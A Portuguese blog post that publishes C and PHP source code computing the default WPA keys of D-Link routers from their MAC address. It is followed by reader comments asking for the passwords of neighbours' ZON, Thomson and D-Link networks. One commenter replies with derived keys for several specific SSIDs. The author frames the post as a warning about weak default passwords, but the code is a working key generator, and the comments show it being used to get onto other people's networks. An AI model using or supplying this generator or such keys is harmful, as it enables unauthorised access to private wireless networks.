Código fonte WPA DLink (PHP,C)
Artigo publicado a 12 Mar, 2010 em Cinema por OBH

Aproveito para tornar publico o código PHP que gera as chaves dos routers DLink, assim como o código fonte em C do programa que originou o mesmo, uma vez que o autor assim o permitiu :)

Aproveito o Post para relembrar que o objectivo do blog não é nem nunca foi incentivar à utilização de redes wireless alheias, pois isso é crime, apenas tento alertar os utilizadores para a necessidade da alteração das passwords por defeito, e também para a necessidade das empresas criadoras dos routers em questão arranjarem formas mais eficazes de gerar chaves aleatórias e não chaves que tenham a haver com o nome da rede ou MAC, compreendo que numa situação de produção em grande escala o mesmo é difícil pois a etiqueta com a password é colocada por ultimo e estas já estão feitas conforme o mac do router, seria preferível criarem os routers com as redes abertas, e alertar na etiqueta para a necessidade de alteração da segurança wireless.

Relativamente a pedidos das chaves ZON, etc … teria todo gosto em verificar os métodos de criação das mesmas, sendo assim caso possuam um router ZON ou outro que na etiqueta tenha a chave predefinida, enviem por comentário o MAC do mesmo o nome da rede e chave original, de forma a se tentar ver qual o método de criação das mesmas, sem isso não tenho possibilidades de estudar os mesmos.

Deixo então abaixo os Códigos fontes em C e PHP com os respectivos créditos no interior do mesmo:

Em C by Xpt0niX

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <ctype.h>

/*     0= X
 1= r
 2= q
 3= a
 4= H
 5= N
 6= p
 7= d
 8= S
 9= Y
 A= w
 B= 8
 C= 6
 D= 2
 E= 1
 F= 5

 Based on a MAC address:
 12  34  56  78  9a  bc

 Pattern of the mixing char must be:
 c1  b2  a3  94  85  76  27  9a  c3  5b

 The final Result for the WPA/SPK key is:
 6r 8q wa YH SN dp qd Yw 6a N8
*/

int Alpha_MACString_Remove_Separator(unsigned char *mac, unsigned char *str)
{
 int i,j;

 if (mac==NULL) return 1;
 for (j=0,i=0;i<17;i++)
 if (mac[i]!=':' && mac[i]!='-' && mac[i]!='.' && mac[i]!='_')
 str[j++] = mac[i];
 return 0;
}

#ifdef IFX_MULTILIB_UTIL
#define main    wpakeygen_main
#endif

int main(int argc, char **argv)
{
 unsigned char mac[12],key[20],newkey[20];
 int i,j,index;
 char t;

 char hash[16] =  { 'X', 'r', 'q', 'a', 'H', 'N', 'p', 'd', 'S', 'Y', 'w', '8', '6', '2', '1', '5'};

 if (argc !=2 )
 {
 printf("Usage: wpakeygen {MAC}\n");
 printf("Tested on D-Link DVA-G3170i/PT by Xpt0niX");
 return 0;
 }

 Alpha_MACString_Remove_Separator(argv[1], mac);
 key[0]=mac[11];
 key[1]=mac[0];

 key[2]=mac[10];
 key[3]=mac[1];

 key[4]=mac[9];
 key[5]=mac[2];

 key[6]=mac[8];
 key[7]=mac[3];

 key[8]=mac[7];
 key[9]=mac[4];

 key[10]=mac[6];
 key[11]=mac[5];

 key[12]=mac[1];
 key[13]=mac[6];

 key[14]=mac[8];
 key[15]=mac[9];

 key[16]=mac[11];
 key[17]=mac[2];

 key[18]=mac[4];
 key[19]=mac[10];

 //printf("key=%c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c %c%c\n",key[0], key[1],key[2],key[3],key[4],key[5],key[6],key[7],key[8],key[9],key[10],key[11],key[12],key[13],key[14],key[15],key[16],key[17],key[18],key[19]);

 for (i=0;i<20;i++)
 {
 t=key[i];
 if ((t >= '0') && (t <= '9'))
 index = t-'0';
 else
 {
 t=toupper(t);
 if ((t >= 'A') && (t <= 'F'))
 index = t-'A'+10;
 else return 1;
 }

 newkey[i]=hash[index];
 }

 printf("%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c%c\n",newkey[0], newkey[1],newkey[2],newkey[3],newkey[4],newkey[5],newkey[6],newkey[7],newkey[8],newkey[9],newkey[10],newkey[11],newkey[12],newkey[13],newkey[14],newkey[15],newkey[16],newkey[17],newkey[18],newkey[19]);

 return 0;
}

Em PHP by NarG

<?php
//
$mac = "123456780ABC";
echo gerador($mac);

function gerador($mac) {
 $key = "XXXXXXXXXXXXXXXXXXXX";
 for($i=0;$i<strlen($mac);$i++) {

 switch ($i) {
 case 0:
 $key[1] = dicionario($mac[$i]);
 break;
 case 1:
 $key[3] = dicionario($mac[$i]);
 $key[12] = dicionario($mac[$i]);
 break;
 case 2:
 $key[5] = dicionario($mac[$i]);
 $key[17] = dicionario($mac[$i]);
 break;
 case 3:
 $key[7] = dicionario($mac[$i]);
 break;
 case 4:
 $key[9] = dicionario($mac[$i]);
 $key[18] = dicionario($mac[$i]);
 break;
 case 5:
 $key[11] = dicionario($mac[$i]);
 break;
 case 6:
 $key[10] = dicionario($mac[$i]);
 $key[13] = dicionario($mac[$i]);
 break;
 case 7:
 $key[8] = dicionario($mac[$i]);
 break;
 case 8:
 $key[6] = dicionario($mac[$i]);
 $key[14] = dicionario($mac[$i]);
 break;
 case 9:
 $key[15] = dicionario($mac[$i]);
 $key[4] = dicionario($mac[$i]);
 break;
 case 10:
 $key[2] = dicionario($mac[$i]);
 $key[19] = dicionario($mac[$i]);
 break;
 case 11:
 $key[0] = dicionario($mac[$i]);
 $key[16] = dicionario($mac[$i]);
 break;
 }
 }
 return $key;
}

function dicionario($letra) {
 $letra = strtoupper($letra);
 switch ($letra) {
 case "1":
 return "r";
 break;
 case "2":
 return "q";
 break;
 case "3":
 return "a";
 break;
 case "4":
 return "H";
 break;
 case "5":
 return "N";
 break;
 case "6":
 return "p";
 break;
 case "7":
 return "d";
 break;
 case "8":
 return "S";
 break;
 case "9":
 return "Y";
 break;
 case "0":
 return "X";
 break;
 case "A":
 return "w";
 break;
 case "B":
 return "8";
 break;
 case "C":
 return "6";
 break;
 case "D":
 return "2";
 break;
 case "E":
 return "1";
 break;
 case "F":
 return "5";
 break;
 default:
 return false;
 break;
 }
}

?>






Este artigo tem 1.157 opiniões

  1. marisa

    Boa tarde a todos agradecia imenso se alguem me pudesse dar a password de ZON 7B6E, ZON86F0 E DE ZON 9390, É QUE EU APANHO TODOS por favos obrigado abraço a todos

  2. Marta

    ZON 7F00, ZON 3330 ou Thomson DA8F88 alguem me ajuda?

  3. Fafe

    Boa Tarde!!!
    Preciso de ajuda… alguém me conhece a senha para Dlink-764A9A?
    Agradeço Imenso

  4. Rui Cabrita

    Boa tarde a todos,
    Preciso de ajuda…
    agradecia imenso se alguem me pudesse dar a password de ZON 5a30 ,vodafone_wpa_1909
    ,… aguardo.

  5. fireanonimo

    Boa noite a todos alguem me pode ajudar com uma pass ZON-F8C6.
    Agradeceço imeso obrigado

  6. Junior

    Agradeceria se alguem me dece a senha dessas Redes : SONAECOM_B106 , SAPO-PI01D3E , DLink-F01F93 , SAPO-ZL32289 … se alguem conseguir senha pra elas agradeceria ;D Qualquer coisa podem enviar pro meu email junior_htinho14@hotmail.com vlw malta

  7. fabiano

    boa noite gostaria de saber a senha desta rede, o nome da rede é FFE? tem como?

  8. Marisa

    Boa tarde a todos agradecia imenso se alguem me pudesse dar a password de ZON 9390 obrigado

  9. Paula

    Ola Boa tarde…alguem me podia dar a passe da SAPO-ZL03116 ?

    Pf

    obrigado

  10. CRACK

    Ola boa tarde, será que alguém me sabe descobrir uma pass para este router PBS-A1B9F1
    MUITO agradecido se possivel enviem no meu mail, crackbreak@msn.com obrigado cumps

  11. paulo santos

    queria saber se me conseguem o código da zon-8F70 wpa2-psk obrigado

  12. ajudem-me :)

    boas pessoal,será que alguem me poderia dar uma chave ou dizer-me como obter uma de uma dlink-fa7ec6? obrigado,fico á espera :)

    • TIAGO PAIS

      SSID: Dlink-FA7EC6
      MAC: 00:22:B0:FA:7E:C6
      KEY: pX6X1qdqw85XX5d1pq86

      Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte ;)

  13. se alguem me poder ajudar, eu tenho estas redes que nao csg aceder.
    Dlink-FA57A2
    ZON-9A10
    ZON-2940
    ZON-CC90
    ZON-8EF0

    • TIAGO PAIS

      SSID: Dlink-FA57A2
      MAC: 00:22:B0:FA:57:A2
      KEY: qXwXdqNqw85XX5Ndqq8w

      Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte ;)

  14. Augusto Tavares

    Se fosse possivel gostaria de saber a pw da rede
    DLink-FA9381

    • TIAGO PAIS

      SSID: DLink-FA9381
      MAC: 00:22:B0:FA:93:81
      KEY: rXSXaqYqw85XX5Yarq8S

      Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte ;)

  15. BIIIXO

    Boas! será possível pass para estas redes:
    ZON-03F0
    ZON-FEE0
    thanks

  16. paulo

    alguen que me ajude queria a passe da …dlink-b6e0a3
    gostava muito de saber
    por isso ajudem-me

  17. ANDRE

    pessoal agem me pode da a passe da D-link EFC4BC OBRIGADO

    • TIAGO PAIS

      SSID: Dlink-EFC4BC
      MAC: 00:22:B0:EF:C4:BC
      KEY: 6X8XHq6q581XX16H6q88

      Avise-me se der resultado e se conseguir ter acesso a net. Boa sorte ;)

  18. janine

    BOAS Alguém que me ajude a descobrir a passe desta rede 2WIRE-PT-295
    é somente de passagem…peace

  19. paulo

    GOSTAVA MUITO DE SABER QUAL A PASSE DESTAS NETS SE ME PODERES AJUDAR OBRIGADA????
    PBS-A7CCC1
    BLINK-B6E0A3

    SE PODERES ME AJUDAR :-) OBRIGADA

  20. Paula

    Ola podia me dizer qual é a passe desta internet?

    Sapo-ZL03116

    tipo de segurança-WPA-PSK

    bgda

  21. monica martinho

    Oi será ke me podem tentar a pass do thomsonD96462 eu nao consigo abrir aki na pagina!é mesmo urgente se me puderem ajudar .obg!

    • TIAGO PAIS

      ola, essa ThomsonD96462 é do ano 2010. ainda nao há algoritmos pra gerar as passwords pra thomsons 2010
      tenta outras thomson tenho a certeza ke conseguirás ;)

      obrigado.

  22. Mara Coimbra

    passwords para os novos MEO e para ZON?
    Já alguém consegue?
    Obrigada

    mara_coimbra@hotmail.com

  23. lIBAS

    BOA NOITE . EU GOSTARIA QUE ME PODESSEM AJUDAR TENHO VARIAS REDES DA ZONA AO MEU ALCANCE..

    ZON-EA20
    ZON-2CB0
    ZON-EB70
    ZON-1EE0

  24. Paula

    Ola podia me dizer qual é a passe desta internet?

    Sapo-ZL03116

  25. daniel

    alguem me podia dizer a passe ou arranjar a dá DLink-EFD964

    tony

  26. yujyi

    a gente mesmo muito estupida!!! leiam seus ursos em vez de fazerem perguntas de merda!!!!!!!!!!

  27. Isabel

    Gostava que me podessem ajudar pois só tenho uma Dlink e não consigo descobrir.
    É a Dlink-F0433E, se alguém me poder ajudar agradecia.

  28. Athenas

    Olá!! Preciso da ajuda de alguém Sff =)
    Alguém consegue descobrir p mim a chave do ZON-4E60??
    Obrigadíssima! =)

  29. rodrigo caetano

    alguém poderia por gentileza ajudar me a descobrir a chave de thomson 7497F0 e enviar para o email caetanode abreu@hotmail.com

  30. manel

    eu keria descobrir a pass de uma rede mas a rede este com outro nome e nao consigo saber kual o aparlho mas suspeito ser da meo como faço para descbrir?

  31. Miguel Santos

    Boas podem me ajudar tenho uma rede proximo MEO-5A3F79 qual a pass?

    obrigado

  32. alguem pode me dzer a pass-8141d8 obrigada

  33. Killingproff

    UM DESENHO PO PESSOAL K NÃO LÊ!! ZON E MEO, NÃO HÁ PASSWORDS AINDA..SERÁ K È ASSIM TÃO DIFICIL???? mas k kromos do caraças pá.!!!

  34. Hugo

    alguem me arranja thompson A4A73B ou CEA3FD

  35. Esther

    Por favor:

    ZON-F870

    ZON-B650

    Desde já, obrigada.

  36. Daniella

    Por favor:

    802.11n

    Obrigada.

  37. João Pedro

    Alguem me consegue arranjar a pass de 2Wire-PT-490?

  38. Alguem me pode ajudar descobrir a passe da net DLink-FA7630

  39. kiki silveira

    podes me dizer se já a codigos para meo ou zon? obrigada

  40. luis bastos

    pass para router PBS-209948

    obrigado

Deixe a sua opinião




Template WordPress por wp4web
(C) 2011 Fodi.me - Todos os direitos reservados